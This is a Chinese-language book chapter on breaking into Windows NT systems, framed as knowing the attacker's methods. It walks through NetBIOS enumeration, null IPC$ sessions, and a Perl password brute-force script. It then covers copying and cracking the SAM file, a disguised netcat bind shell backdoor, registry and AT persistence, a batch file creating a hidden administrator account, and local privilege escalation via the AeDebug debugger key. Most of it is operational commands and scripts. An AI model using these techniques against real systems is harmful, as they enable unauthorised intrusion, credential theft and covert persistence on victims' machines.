第十二章
入侵Windows NT
如果要防范从远程对你的Windows NT的入侵,最好的办法还是研究一下入侵的基本方法。只有做到“知己知彼”,才能更好地防范入侵。
第一节通过NetBIOS入侵
所有的入侵都涉及到以root或admin权限登录到某一计算机或网络。入侵的第一步往往是对目标计算机或的端口扫描(portscan)。建立在目标计算机开放端口上的攻击是相当有效的。NT机器的端口信息的显示和UNIX的不同。因此,一般能区分出目标计算机所运行的是哪个操作系统。
攻击NT为基础的网络时,NetBIOS是首选的进攻点。
使用端口扫描软件,比如Sam,看看目标计算机的端口139是否打开。139端口是"NetBIOS session"端口,用来进行文件和打印共享的,是NT潜在的危险。注意:运行SAMBA的Linux和UNIX系统的139端口也是打开的,提供类似的文件共享。找到了这样的目标计算机后,接下来是使用"nbtstat"命令。
NBTSTAT命令是用来询问有关NetBIOS的信息的,也能清除NetBIOS 缓冲区能的内容和将LMHOSTS文件预先装入其中。通过运行这一命令能得到许多有用信息。
NBTSTAT命令解释:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]开关: -a 列出给定主机名的远程计算机的名字表(name table) -A 列出给定IP地址的远程计算机的名字表 -c 列出远程名字缓冲区(name cache),包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通过广播(broadcast)和WINS解析的名字
-R 清除和重新装入远程的缓冲的名字表
-S 列出和目标IP地址会话的表
-s 列出会话表转换
NBTSTAT命令的输出的每一栏都有不同的含义,它们的标题有下面几个,含义也在下面做了相应的解释:
Input
接收到的字节数。
Output
发送的字节数。
In/Out 这个连接是来自该计算机(outbound)还是来自另外的系统(inbound)。
Life
在你的计算机清除名字表之前存在时间。
Local Name
连接时本地的名字。
Remote Host
远程计算机的名字或IP地址。
Type
一个名字可以有两种类型: unique 或group。
NetBIOS名字的最后16个字符经常代表一些内容。因为同样的名字可以在同一计算机出现几次。 该类型表示名字的最后一个字节(用16进制表示)。
State
你的NetBIOS连接将是下面几个状态之一:
State MeaningAccepting 正在处理一个进入的连接Associated 一个连接的端点已经建立,你的计算机与它以一个IP地址相关Connected 你已经联系到了远程资源。Connecting 你的会话正试图对目标资源进行名字到IP地址的解析Disconnected 你的计算机发出一个断开请求,正在等待远程计算机的响应Disconnecting 正在结束你的连接
Idle 远程计算机在当前会话已经打开,但目前不接受连接
Inbound 一个inbound会话正试图连接
Listening 远程计算机可以使用了
Outbound 你的会话正在建立一个TCP 连接
Reconnecting 如果第一次失败,它会在重新连接时显示这一信息下面是一个NBTSTAT命令的实例:
C:\>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table
Name Type Status
----------------------------------------------------------------------
DATARAT < 00> UNIQUE Registered
R9LABS < 00> GROUP Registered
DATARAT < 20> UNIQUE Registered
DATARAT < 03> UNIQUE Registered
GHOST < 03> UNIQUE Registered
DATARAT < 01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
上面的输出是什么意思呢?尤其是Type这一栏,代表的是什么呢。再看看下面的表,它能告诉你什么?
Name Number Type Usage=====================================================< computername> 00 U Workstation Service< computername> 01 U Messenger Service< \\_MSBROWSE_> 01 G Master Browser< computername> 03 U Messenger Service
< computername> 06 U RAS Server Service
< computername> 1F U NetDDE Service
< computername> 20 U File Server Service
< computername> 21 U RAS Client Service
< computername> 22 U Exchange Interchange
< computername> 23 U Exchange Store
< computername> 24 U Exchange Directory
< computername> 30 U Modem Sharing Server Service
< computername> 31 U Modem Sharing Client Service
< computername> 43 U SMS Client Remote Control
< computername> 44 U SMS Admin Remote Control Tool
< computername> 45 U SMS Client Remote Chat
< computername> 46 U SMS Client Remote Transfer
< computername> 4C U DEC Pathworks TCPIP Service
< computername> 52 U DEC Pathworks TCPIP Service
< computername> 87 U Exchange MTA
< computername> 6A U Exchange IMC
< computername> BE U Network Monitor Agent
< computername> BF U Network Monitor Apps
< username> 03 U Messenger Service
< domain> 00 G Domain Name
< domain> 1B U Domain Master Browser
< domain> 1C G Domain Controllers
< domain> 1D U Master Browser
< domain> 1E G Browser Service Elections
< INet~Services> 1C G Internet Information Server
< IS~Computer_name> 00 U Internet Information Server
< computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): 名字(name )可能只分配了一个IP地址。在一个网络设备上,多次出现一个名字已经被注册,但后缀是唯一的,从而整个条目就是唯一的。
Group (G): 普通的组(group),同一个名字可能存在多个IP地址。Multihomed (M): 名字(name)是唯一的,但由于在同一计算机上有多个网络接口,这个配置在允许注册时是必须的。地址的数目最多25个。Internet Group (I): 这是组名字的一个特殊配置,用于WinNT的域名的管理。Domain Name (D): NT 4.0里新增的。
这个表是对NBTSTAT输出中Type的解释。通过详细分析NBTSTAT命令的输出,就能收集到目标计算机的许多信息。通过分析,就能发现目标计算机正在运行什么服务,甚至可以分析安装的软件包是什么。从而就能找到空隙可以利用。下一步就是从远程计算机收集可能的用户名。一个网络登录分成两个部分:用户名和口令。一旦一个入侵者知道了用户名,他就等于成功了一半。
通过分析NBTSTAT的命令输出,入侵者就能得到任何登录到那台计算机上的用户名。在NBTSTAT输出里,类型(Type)为< 03>的就是用户名或计算机名。类型(Type)为< 20>的就表示它是一个共享的资源。
IPC$(Inter-Process Communication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。入侵者常常利用这一点来,通过使用空的IPC会话进行攻击。
有一个一个比较好的IPC会话工具:RedButton。 它是个很灵巧的程序,能登录到NT系统而不会显示用户名和口令。这个工具运行环境是NT。运行这个程序,将看到任何可能的共享,包括任何隐藏的admin共享(ie, shares以"$"结束。默认的,有几个这样的可以得到的共享...C$,WINNT$,IPC$等等)。
注意:IPC$共享不是一个目录,磁盘或打印机意义上的共享。你看到的"$",它是默认的在系统启动时的admin共享。IPC是指"interprocess communications"。IPC$共享提供了登录到系统的能力。注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。
入侵者使用下面的命令对IPC$实施攻击:
c:\>net use \\[目标机器的IP地址]\ipc$ /user:< name> < passwd>
当这个连接建立后,要将username和password送去加以确认。如果你以"Administrator"登录,则需要进行口令猜测。
可以重复使用'net'命令,进行username和password猜测:
c:\>net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>
也可以使用脚本语句:
open(IPC, "net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd> | ");
NAT工具能自动完成上述功能。NAT是通过读取字典文件中的口令,进行重复登录,从而获取帐号。当然,可以编写一个脚本来实现NAT的功能。
Perl是一种很好的语言,是解释性的,如Java,但运行速度比Java快。同时,Unix系统能解释它。现在,95和NT版的Perl也已经推出。
下面这个脚本程序可以用来进行帐号和口令猜测。
----- begin script -----
# ipcchk.plx
# 该脚本从一个文本文件读入单词,并将该单词作为用户名和口令,进行
# IPC$连接。成功的连接保存到一个log文件。该脚本不检查输入参数的
# 有效性,因此必须输入目标机器的合法的IP地址。
#
# 用法: c:\>perl ipcchk.plx [目标机器的IP地址]
open(TEST, "names.txt") || die "Could not open file.";
open(LOG,">>ipc.log") || die "Could not open log.";
if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}
$server = ARGV[0];
while(< TEST>) {
$name = $_;
chop($name);
# print "net use \\\\$server\\ipc\$ /user:Administrator $name | \n";
open(IPC, "net use \\\\$server\\ipc\$ /user:Administrator $name | ");
while(< IPC>) {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name\n";
# delete a successful connection to avoid multiple connections to
# the same machine
open(DEL, "net use \\\\$server\\ipc\$ /d | ");
}
}
----- end script -----
当然,你只要知道原理,可以用C语言或BASIC语言,编写一个具有上述功能的程序。
一旦进入,就不仅仅是能够收集用户名了。还能做许多其他事情。
接下来,入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令:
c:\>net view \\[目标计算机的IP地址]
根据目标计算机的安全策略,这个命令有可能被拒绝。看看下面的例子:
C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""The command completed successfully.C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
该命令顺利地完成了。
从上面的例子可见,直到空IPC会话成功建立后,服务器的共享资源列表才能访问到。在此时,你可能会想到,这样的IPC连接会有多危险呢,但目前为止我们的有关IPC的知识还是很基本的。我们仅仅开始研究IPC共享的可能性。
如果有其它共享资源,可以用net命令进行连接。
c:\>net use x: \\[ipaddr]\[share]
如果不行,用上述进行的攻击方法。
一旦IPC$共享顺利完成,下一个命令是:
c:\>net use g: \\xxx.xxx.xxx.xxx\c$
得到了C$共享,并将该目录映射到g:,键入:
c:\>dir g: /p
就能显示这个目录的所有内容。
成功地进行了IPC$连接后,点击Start -> Run,键入regedit。选择Registry -> Connect Network Registry,再键入那台机器的IP地址。不一会,就能看目标计算机的的Registry了。
第二节口令破解
如果入侵者进入了一个系统,他就可以干好几件事,比如进行密码破解。下面看一下在NT系统下是如何进行的。NT将用户的口令放在SAM(Security Accounts Manager)文件中,但通常不能对这个文件进行存取。
不过,在c:\winnt\repair目录下,有一个文件叫做SAM._。这是SAM数据库的压缩版本。它是在系统安装时建立的,用rdisk工具运行更新。普通用户有读它的权限。一旦入侵者能和目标计算机进行C$共享连接,他就能拷贝到这个文件:
c:\>copy g:\winnt\repair\sam._
下面做个实验。先用User Manager创建几个容易猜的口令的帐号,并运行:
c:\>rdisk /s
作完之后,进入c:\winnt\repair目录,将SAM._拷贝到另一个目录。并键入:
c:\temp>expand SAM._ sam
然后,使用一个叫SAMDump的工具。SAMDump会将这个文件转换成你能使用的格式。
c:\temp>samdump sam > samfile
接下来就可以运行口令NT密码破解器,如l0phtcrack或NTCrack 。只要有足够的时间,刚才创建的几个口令就会被破解出来。
一旦闯进了目标系统,入侵者就能在这台计算机上留后门,以便日后进入。
第三节后门
入侵者在闯入目标计算机后,往往会留后门,以便日后再方便地回到目标计算机上。
netcat是一个命令行工具,有几个运行开关,用来设置它的操作。如果设置得好的话,是不错的一个后门的选择。
可以配置成批处理文件。
nc -L -d -p [port] -t -e cmd.exe
L 让netcat在当前会话结束后保持侦听
d 运行时不打开一个windows的DOS窗口
p 捆绑的端口
t 允许telnet交互
e 连接后的操作
将这个命令行拷贝到一个文件,命名为runnc.bat。然后,将netcat和这个文件拷贝到目标计算机PATH变量中的任何一个目录中。比如c:\winnt\system32\。
另外一个小技巧是重新命名netcat(nc.exe)为其它的名字,看上去让人以为这是NT自身的文件,比如winlog.exe,在runnc.bat中只需做相应改动即可。
一旦这个批处理文件运行了,也就是说,netcat程序在目标计算机上运行后,netcat会在某一个端口侦听。入侵者就可以通过Telnet进行连接,从而通过执行cmd.exe,就能在远程运行目标计算机上的命令了。
或者使用客户状态模式的netcat:
c:\>nc -v [ipaddress of target] [port]
如果是在目标计算机上的NT没有运行telnet服务器,可以使用另一个更好的服务,叫做Schedule (或AT)服务,用于计划以后运行程序的时间。怎样知道是否已经运行了AT服务器了?在控制面板的服务(Control Panel -> Services)里找找,看看它的运行状态。
如果安装了Perl,可以运行下面这个脚本。
----- begin script -----
# atchk.plx
# 该脚本用来检查本地服务器是否正在运行AT服务。如果没有,启动
# 这个服务。对这个脚本做写小改动,就可以应用到对远程计算机的检
# 查。只要已经成功建立了IPC$连接并有administrator权限即可。
#
# 用法: perl atchck.plx
use Win32::Service;
use Win32;
my %status;
Win32::Service::GetStatus('','Schedule', \%status);
die "service is arealdy started\n" if ($status{CurrentState} == 4);
Win32::Service::StartService(Win32::NodeName( ),'Schedule') || die
"Can't start service\n";
print "Service started\n";
#**Note: This script was modified from:
#http://www.inforoute.cgs.fr/leberre1/perlser.htm
----- end script -----
入侵者只要拥有管理员级权限,就能运行AT命令。运行AT服务后,可以通过AT命令来执行一些操作。
AT的语法:
AT [\\computername] [time] "command"
比如:
AT [\\computername] [time] runnc.bat
可以在目标计算机的NT系统的注册表的以下registry主键中设置相关的键值,从而在用户登录后能自动运行键值所指向的程序。。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
还可以使用NT命令创建一个新的用户帐号,并将它设置为管理员级别的权限。如下面的批处理文件所示。
----- begin batch file -----
@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin
net localgroup "Users" /del Admin
----- end batch file -----
还有就是运行一些特洛伊程序,给入侵者留后门。有一个叫Netbus程序。它的功能与Back Orifice类似,不过可以在NT运行。一旦入侵者使用了这个程序后,就可以在任何时候,任何地点,对这台目标计算机进行几乎是随心所欲的操作。
第四节本地攻击
以上讲的是外部入侵者对目标计算机进行的攻击。其实,攻击往往可以是来自内部的。如果入侵者有本地NT计算机的使用权限,即使是一个普通权限的用户,都可以用一些工具来攻击本地的机器,从而得到一定收获。比如提高自己的权限,越权使用本地机器的资源等等。
一个比较常用的工具是getadmin。这个工具由一个可运行文件和一个.dll文件组成。通过运行,能将用户加到Administrator组。微软已经有了对这个缺陷的补丁程序。
另一个类似的是sechole.exe,运行后,增加了一个有管理员权限的用户。这些程序都只需在普通权限下运行。
还有一个技巧是进行注册表设置,设置使用哪个默认的调试器debugger。在一个用户模式的程序冲突时,这个调试器就会运行。通常的设置是:
Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
Value: Debugger
Data Type: REG_SZ
Default Value: drwtsn32 -p %ld -e %ld -g
所有的人都有权限来设置这个值,从而给入侵者一个机会。调式器在冲突的程序的安全上下文中运行。因此,所有你要做的就是改变默认值,用来指向User Manager,然后让其中的一个服务冲突。这就取得了User Manager运行权。随后,入侵者就能增减帐号了。
用rdisk /s命令用来备份注册表。
另外,可以试图使用NTFSDOS工具,该工具是一张可以启动的DOS磁盘。以这张启动盘启动目标机器后,就能读该机器上的NTFS分区内的所有内容。比如拷贝系统文件,包括SAM数据库。
还有一个叫Systems Internals的工具,除了有上述功能外,允许对NTFS分区进行写操作。
net命令注解
通过上面的介绍,可以发现net命令是相当强大的。下面对这一命令的使用做简单的注解。具体使用时,请参见相应的帮助。
Net Accounts: 这个命令显示当前的口令的一些设置,登录的限定和域的信息。包括更新用户帐号数据库和修改口令及登录需求的选项。
Net Computer: 在域数据库里增加或删除计算机。Net Config Server 或 Net Config Workstation: 显示服务器服务的配置信息。如果没有指定Server或者Workstation,这个命令显示可以配置的服务的列表。
Net Continue: 重新激活被NET PAUSE命令挂起的NT服务。
Net File: 这个命令列出一个服务器上打开的文件。有一个关闭共享文件和解除文件锁定的选项。
Net Group: 显示组的名字的相关信息,并有一个选项,可以在服务器里增加或修改global组。
Net Help: 得到这些命令的帮助Net Helpmsg message#: 得到一个指定的net error或功能消息(function message)的帮助。Net Localgroup:列出服务器上的本地组(local group),可以修改这些组。Net Name: 显示发往的计算机的名字和用户。Net Pause: 将某个NT服务挂起。
Net Print: 显示打印任务和共享队列。
Net Send: 给其他用户,计算机发送消息或在网络上的消息名字。
Net Session: 显示当前会话的信息。还包含一个终止当前会话的命令。
Net Share: 列出一个计算机上的所有共享资源的信息。这个命令也可以用来创建共享资源。
Net Statistics Server 或 Workstation: 显示统计记录。
Net Stop: 停止 NT 的服务,取消任何正在使用的连接。停止一个服务有可能会停止其他服务。
Net Time: 显示或设置一个计算机或域的时间。
Net Use: 列出连接上的计算机,有连接或断开共享资源的选项。
Net User: 列出计算机的用户帐号,并有创建或修改帐号的选项。
Net View: 列出一台计算机上的所有共享资源。包括netware服务。